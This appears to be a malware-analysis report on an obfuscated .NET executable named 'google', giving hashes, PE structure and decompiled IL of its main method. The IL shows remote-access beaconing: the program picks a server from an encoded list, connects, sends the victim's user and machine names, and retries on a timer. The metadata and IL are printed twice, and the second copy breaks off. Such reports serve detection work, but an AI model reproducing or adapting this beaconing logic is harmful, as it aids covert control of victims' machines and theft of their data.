Suspicious
Suspect

7bbe43387cfe0e00dafd61ea63904c6d

Share on LinkedIn
Print
PE Executable
MD5: 7bbe43387cfe0e00dafd61ea63904c6d
Size: 395.9 KB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Very high
MD5 7bbe43387cfe0e00dafd61ea63904c6d
Sha1 e3c5dcfd1274175d482718b9dc6e9a0936bacc40
Sha256 bc73e28fca0988fea8ef3460890ee16049842d9829403eedc63661e01bb09447
Sha384 ca111fe076cd900fb19e29f2cead3c9f41f9ee42866b229e993435ccce09f558f124c310074be55dfdc6b6814f3f1809
Sha512 e0edfeae08d799d22c80caf8a4a61cdf0332791a2e22485dfe0b13cda0b06968f77dcd0b89368ce40b281cf7064f0ff901753b7214df293b9f90f82249de9729
SSDeep 6144:Pe9DtAHOBGvEpzVI96iNANhYtpIMZONgTuAdhZAFSub4td1TFyyol67O:GMIenENlQjL7B7O
TLSH A6841A147F988609E5901A7E425E2500C7EE92F265327303370AFF625D899DEDE2D3EB
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
7bbe43387cfe0e00dafd61ea63904c6d
[Authenticode]_51d35a4b.p7b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
6dunca1xri
STICH beta

No STICH Path has been generated for this analysis yet.

2 structural branches were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 2
Name Value
Info
PE Detect: PeReader OK (file layout)
Info
Authenticode present at 0x5EE00 size 7296 bytes
Module Name
google
Full Name
google
EntryPoint 
System.Void EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::ujcLelfkccCJpQFzJWvxdDo(System.String[])
Scope Name
google
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
google
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
600
Main Method 
System.Void EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::ujcLelfkccCJpQFzJWvxdDo(System.String[])
Main IL Instruction Count
266
Main IL 
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::BCBBJqcFKCaZM()
stloc V_12
br IL_003F: br IL_000E
nop <null>
ldloc V_12
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::YmLdpQzrTrH()
ceq <null>
brfalse IL_0029: nop
nop <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::koWDgsXJyWNbJqGCNuBF()
stloc V_12
nop <null>
ldloc V_12
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::RyPXelhNJiJucFniH()
ceq <null>
brfalse IL_003F: br IL_000E
br IL_0044: nop
br IL_000E: nop
nop <null>
nop <null>
call System.Void EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::RdJIIzVtjxYvwXUCCgcrMF()
nop <null>
call System.Void EKPhEXClTiCfITTBayDwEHEWg.BHthIVivqcNhBpsMVoh::JLOrAVSgrtahwQAYlkVRLgPps()
nop <null>
ldsfld System.Threading.TimerCallback EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV/lAkZPLUQcmC::<>9__2_0
dup <null>
brtrue IL_0074: ldnull
pop <null>
ldsfld EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV/lAkZPLUQcmC EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV/lAkZPLUQcmC::<>9
ldftn System.Void EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV/lAkZPLUQcmC::<Main>b__2_0(System.Object)
newobj System.Void System.Threading.TimerCallback::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Threading.TimerCallback EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV/lAkZPLUQcmC::<>9__2_0
ldnull <null>
ldc.r8 10
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
ldc.r8 10
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
newobj System.Void System.Threading.Timer::.ctor(System.Threading.TimerCallback,System.Object,System.TimeSpan,System.TimeSpan)
pop <null>
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::AFgshJfwhZSNcnBobkN
call System.String EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::mUWCgSTjUfXzlOB()
call System.String tsvHsJCCvhuUAIgsC.EqPKBFGWhrsnxDRJz::acxeMkjyraqLNeU(System.String)
call System.Boolean System.String::op_Equality(System.String,System.String)
stloc V_0
ldloc V_0
brfalse IL_00C0: ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::NBFkXWQOiMY
nop <null>
call System.Void jCMngWQAuKqhWLLQVjelO.zfbwuHtqQwqNvjXBkQlqZ::qezETGEKDPETGlSVSKRaoql()
nop <null>
nop <null>
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::NBFkXWQOiMY
call System.Boolean tsvHsJCCvhuUAIgsC.FUHKtAYPttGMcGYLPjjaMlue::QcmTxSpAuXKiTaclR(System.String)
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::hCCHBYjUzKwdZqCJ()
ceq <null>
stloc V_1
ldloc V_1
brfalse IL_00E4: call System.Void tsvHsJCCvhuUAIgsC.ILCMZLGQNSM::dIwSWnjdGITMrgnKjhrUUv()
nop <null>
leave IL_03BA: ret
call System.Void tsvHsJCCvhuUAIgsC.ILCMZLGQNSM::dIwSWnjdGITMrgnKjhrUUv()
nop <null>
call System.Void jCMngWQAuKqhWLLQVjelO.FjXTBjEhyaGJzhSalBVIFQF::VBcgPVBDuetwxOkyjMxMCyFlM()
nop <null>
br IL_0393: ldsfld System.Boolean EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::cNclKmlFUaE
nop <null>
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
ldfld System.Boolean EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa::BGSCFfinFsulwAhcQGg
brtrue IL_0116: call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::YTDVKxqnKmXQ()
ldsfld System.Boolean EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::cNclKmlFUaE
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::qHfBHpwpoEhhkTT()
ceq <null>
br IL_011B: stloc V_2
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::YTDVKxqnKmXQ()
stloc V_2
ldloc V_2
brfalse IL_0387: call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::eYvLDXAsdKr()
nop <null>
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::UEwZRBVIRhwdD
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::JTsSmxbbUaMFRNUCmOq()
newarr System.Char
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::XBWzoIsQrrVRgKflpPy()
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::reEtqQsjVlXYgnII()
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
stloc V_3
ldloc V_3
ldlen <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::tddELkcFvZHijNXPUlswdIYQJ()
ceq <null>
stloc V_8
ldloc V_8
brfalse IL_0177: ldloc V_3
nop <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::GTwktBXowlURgubnvqlBmYAI()
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
br IL_0393: ldsfld System.Boolean EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::cNclKmlFUaE
ldloc V_3
ldsfld System.Random jCMngWQAuKqhWLLQVjelO.FjXTBjEhyaGJzhSalBVIFQF::NMxiHrBpLb
ldloc V_3
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.Random::Next(System.Int32)
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc V_4
ldloc V_4
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::BPLTkFNvQdJIK()
newarr System.Char
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::FLvRmvDExVpNhfHIiTo()
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::rlLUMfHWQQSfkKfqr()
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
stloc V_5
ldloc V_5
ldlen <null>
conv.i4 <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::NMJwSqeWXinH()
ceq <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::qTloTzaEGngogCJdXzRRbFbP()
ceq <null>
stloc V_9
ldloc V_9
brfalse IL_01EA: ldloc V_5
nop <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::TVqpHZiIVcLyVMrQCHZcIlnU()
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
br IL_0393: ldsfld System.Boolean EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::cNclKmlFUaE
ldloc V_5
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::AiWqUkrWtzdkPzOxgLaxeBn()
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc V_6
ldloc V_5
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::AZyCmmiiVwGqMRBrU()
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc V_7
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
callvirt System.Void EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa::mnaEGMtshRweATXeKXWBlx()
nop <null>
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
ldloc V_6
ldloc V_7
callvirt System.Void EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa::DOtkMSyLWzcv(System.String,System.String)
nop <null>
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
ldfld System.Boolean EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa::BGSCFfinFsulwAhcQGg
stloc V_10
ldloc V_10
brfalse IL_0386: nop
nop <null>
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::bMNgmHKebZMWPzvwpu()
newarr System.Object
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::ojHRvOSsYlOKjdBZaMUmq()
call System.String EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::XuXHjvoLOAsN()
call System.String tsvHsJCCvhuUAIgsC.EqPKBFGWhrsnxDRJz::acxeMkjyraqLNeU(System.String)
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::IKIVyhHuQbGEfsUuRRTPmtN()
call System.String EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::pIbIbpohxE()
call System.String tsvHsJCCvhuUAIgsC.EqPKBFGWhrsnxDRJz::acxeMkjyraqLNeU(System.String)
stelem.ref <null>
call System.Byte[] EKPhEXClTiCfITTBayDwEHEWg.zNIfENsMdVZxLr::FjUHeTJdpUVw(System.Object[])
callvirt System.Void EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa::VcvExRIaSsdEIcnswHCDVU(System.Byte[])
nop <null>
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
newobj System.Void jCMngWQAuKqhWLLQVjelO.bIomJHzwGb::.ctor(EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa)
stfld jCMngWQAuKqhWLLQVjelO.bIomJHzwGb EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa::mKsAZxpLcKgdXXooLnZAa
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
newobj System.Void jCMngWQAuKqhWLLQVjelO.xXkJMZyrucuxySJH::.ctor(EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa)
stfld jCMngWQAuKqhWLLQVjelO.xXkJMZyrucuxySJH EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa::UvKkYsRdODb
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::dsNZUjVIwwbwIa()
newarr System.Object
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::lkdUmDeyJFfvCS()
call System.String EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::lHgFIjSpSrB()
call System.String tsvHsJCCvhuUAIgsC.EqPKBFGWhrsnxDRJz::acxeMkjyraqLNeU(System.String)
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::FOxtrFTiagGyIiRYmq()
call System.Byte[] jCMngWQAuKqhWLLQVjelO.FjXTBjEhyaGJzhSalBVIFQF::OZCBSRqJLdzCSKRQ()
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::ieJYaLyuET()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::MnTDhKZNoVicszmrFCZ
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::oSpVqNzPiJRBCofEWPshtE()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::kZurxkkmomnFAtiypucvBgH
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::kwwpWhtLPO()
call System.String System.Environment::get_UserName()
call System.String EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::VIhrfLogaFieWvrJZMaZp()
call System.String tsvHsJCCvhuUAIgsC.EqPKBFGWhrsnxDRJz::acxeMkjyraqLNeU(System.String)
call System.String System.Environment::get_MachineName()
call System.String System.String::Concat(System.String,System.String,System.String)
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::soJnsDYXIsQcGkuHceMmv()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::MyesfNgZDXABgZMMwsP
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::REYtXchpyBmRwrvjXoIWv()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::rsOYjpLwzIJuioPoyvlNvVW
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::TTqFbaRhDcqH()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::QiyRqNLGYsnTkGJqCkavNGS
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::EOygwpSuOppoDLsG()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::enyKkcrOTVPM
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::eYoJlFDRBHYQyKaoV()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::KXNBHCvVWWHAqtGmxDWqAvD
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::VZHMgcOFdBRYOYafxRTNTJv()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::jeNBpFWYYMkVDt
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::uhudQfOzhTXhQS()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::UZnOsyeuldMsCWAYPW
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::LvfbBAcszpSNJVIYMesRzik()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::AKEjiJQebmRqDRRXYwWtpI
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::ynRrvBtPfZHRnhtNRovnyR()
call System.String jCMngWQAuKqhWLLQVjelO.FjXTBjEhyaGJzhSalBVIFQF::LPnHbZfGgtVuy()
stelem.ref <null>
call System.Byte[] EKPhEXClTiCfITTBayDwEHEWg.zNIfENsMdVZxLr::FjUHeTJdpUVw(System.Object[])
callvirt System.Void EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa::VcvExRIaSsdEIcnswHCDVU(System.Byte[])
nop <null>
nop <null>
nop <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::eYvLDXAsdKr()
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
nop <null>
ldsfld System.Boolean EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::cNclKmlFUaE
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::OjlxyvCijNqlekezKm()
ceq <null>
stloc V_11
ldloc V_11
brtrue IL_00F5: nop
nop <null>
leave IL_03BA: ret
pop <null>
nop <null>
nop <null>
leave IL_03BA: ret
ret <null>
Module Name
google
Full Name
google
EntryPoint 
System.Void EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::ujcLelfkccCJpQFzJWvxdDo(System.String[])
Scope Name
google
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
google
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
600
Main Method 
System.Void EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::ujcLelfkccCJpQFzJWvxdDo(System.String[])
Main IL Instruction Count
266
Main IL 
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::BCBBJqcFKCaZM()
stloc V_12
br IL_003F: br IL_000E
nop <null>
ldloc V_12
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::YmLdpQzrTrH()
ceq <null>
brfalse IL_0029: nop
nop <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::koWDgsXJyWNbJqGCNuBF()
stloc V_12
nop <null>
ldloc V_12
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::RyPXelhNJiJucFniH()
ceq <null>
brfalse IL_003F: br IL_000E
br IL_0044: nop
br IL_000E: nop
nop <null>
nop <null>
call System.Void EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::RdJIIzVtjxYvwXUCCgcrMF()
nop <null>
call System.Void EKPhEXClTiCfITTBayDwEHEWg.BHthIVivqcNhBpsMVoh::JLOrAVSgrtahwQAYlkVRLgPps()
nop <null>
ldsfld System.Threading.TimerCallback EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV/lAkZPLUQcmC::<>9__2_0
dup <null>
brtrue IL_0074: ldnull
pop <null>
ldsfld EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV/lAkZPLUQcmC EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV/lAkZPLUQcmC::<>9
ldftn System.Void EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV/lAkZPLUQcmC::<Main>b__2_0(System.Object)
newobj System.Void System.Threading.TimerCallback::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Threading.TimerCallback EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV/lAkZPLUQcmC::<>9__2_0
ldnull <null>
ldc.r8 10
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
ldc.r8 10
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
newobj System.Void System.Threading.Timer::.ctor(System.Threading.TimerCallback,System.Object,System.TimeSpan,System.TimeSpan)
pop <null>
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::AFgshJfwhZSNcnBobkN
call System.String EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::mUWCgSTjUfXzlOB()
call System.String tsvHsJCCvhuUAIgsC.EqPKBFGWhrsnxDRJz::acxeMkjyraqLNeU(System.String)
call System.Boolean System.String::op_Equality(System.String,System.String)
stloc V_0
ldloc V_0
brfalse IL_00C0: ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::NBFkXWQOiMY
nop <null>
call System.Void jCMngWQAuKqhWLLQVjelO.zfbwuHtqQwqNvjXBkQlqZ::qezETGEKDPETGlSVSKRaoql()
nop <null>
nop <null>
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::NBFkXWQOiMY
call System.Boolean tsvHsJCCvhuUAIgsC.FUHKtAYPttGMcGYLPjjaMlue::QcmTxSpAuXKiTaclR(System.String)
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::hCCHBYjUzKwdZqCJ()
ceq <null>
stloc V_1
ldloc V_1
brfalse IL_00E4: call System.Void tsvHsJCCvhuUAIgsC.ILCMZLGQNSM::dIwSWnjdGITMrgnKjhrUUv()
nop <null>
leave IL_03BA: ret
call System.Void tsvHsJCCvhuUAIgsC.ILCMZLGQNSM::dIwSWnjdGITMrgnKjhrUUv()
nop <null>
call System.Void jCMngWQAuKqhWLLQVjelO.FjXTBjEhyaGJzhSalBVIFQF::VBcgPVBDuetwxOkyjMxMCyFlM()
nop <null>
br IL_0393: ldsfld System.Boolean EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::cNclKmlFUaE
nop <null>
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
ldfld System.Boolean EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa::BGSCFfinFsulwAhcQGg
brtrue IL_0116: call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::YTDVKxqnKmXQ()
ldsfld System.Boolean EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::cNclKmlFUaE
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::qHfBHpwpoEhhkTT()
ceq <null>
br IL_011B: stloc V_2
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::YTDVKxqnKmXQ()
stloc V_2
ldloc V_2
brfalse IL_0387: call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::eYvLDXAsdKr()
nop <null>
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::UEwZRBVIRhwdD
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::JTsSmxbbUaMFRNUCmOq()
newarr System.Char
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::XBWzoIsQrrVRgKflpPy()
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::reEtqQsjVlXYgnII()
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
stloc V_3
ldloc V_3
ldlen <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::tddELkcFvZHijNXPUlswdIYQJ()
ceq <null>
stloc V_8
ldloc V_8
brfalse IL_0177: ldloc V_3
nop <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::GTwktBXowlURgubnvqlBmYAI()
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
br IL_0393: ldsfld System.Boolean EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::cNclKmlFUaE
ldloc V_3
ldsfld System.Random jCMngWQAuKqhWLLQVjelO.FjXTBjEhyaGJzhSalBVIFQF::NMxiHrBpLb
ldloc V_3
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.Random::Next(System.Int32)
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc V_4
ldloc V_4
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::BPLTkFNvQdJIK()
newarr System.Char
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::FLvRmvDExVpNhfHIiTo()
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::rlLUMfHWQQSfkKfqr()
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
stloc V_5
ldloc V_5
ldlen <null>
conv.i4 <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::NMJwSqeWXinH()
ceq <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::qTloTzaEGngogCJdXzRRbFbP()
ceq <null>
stloc V_9
ldloc V_9
brfalse IL_01EA: ldloc V_5
nop <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::TVqpHZiIVcLyVMrQCHZcIlnU()
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
br IL_0393: ldsfld System.Boolean EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::cNclKmlFUaE
ldloc V_5
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::AiWqUkrWtzdkPzOxgLaxeBn()
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc V_6
ldloc V_5
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::AZyCmmiiVwGqMRBrU()
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc V_7
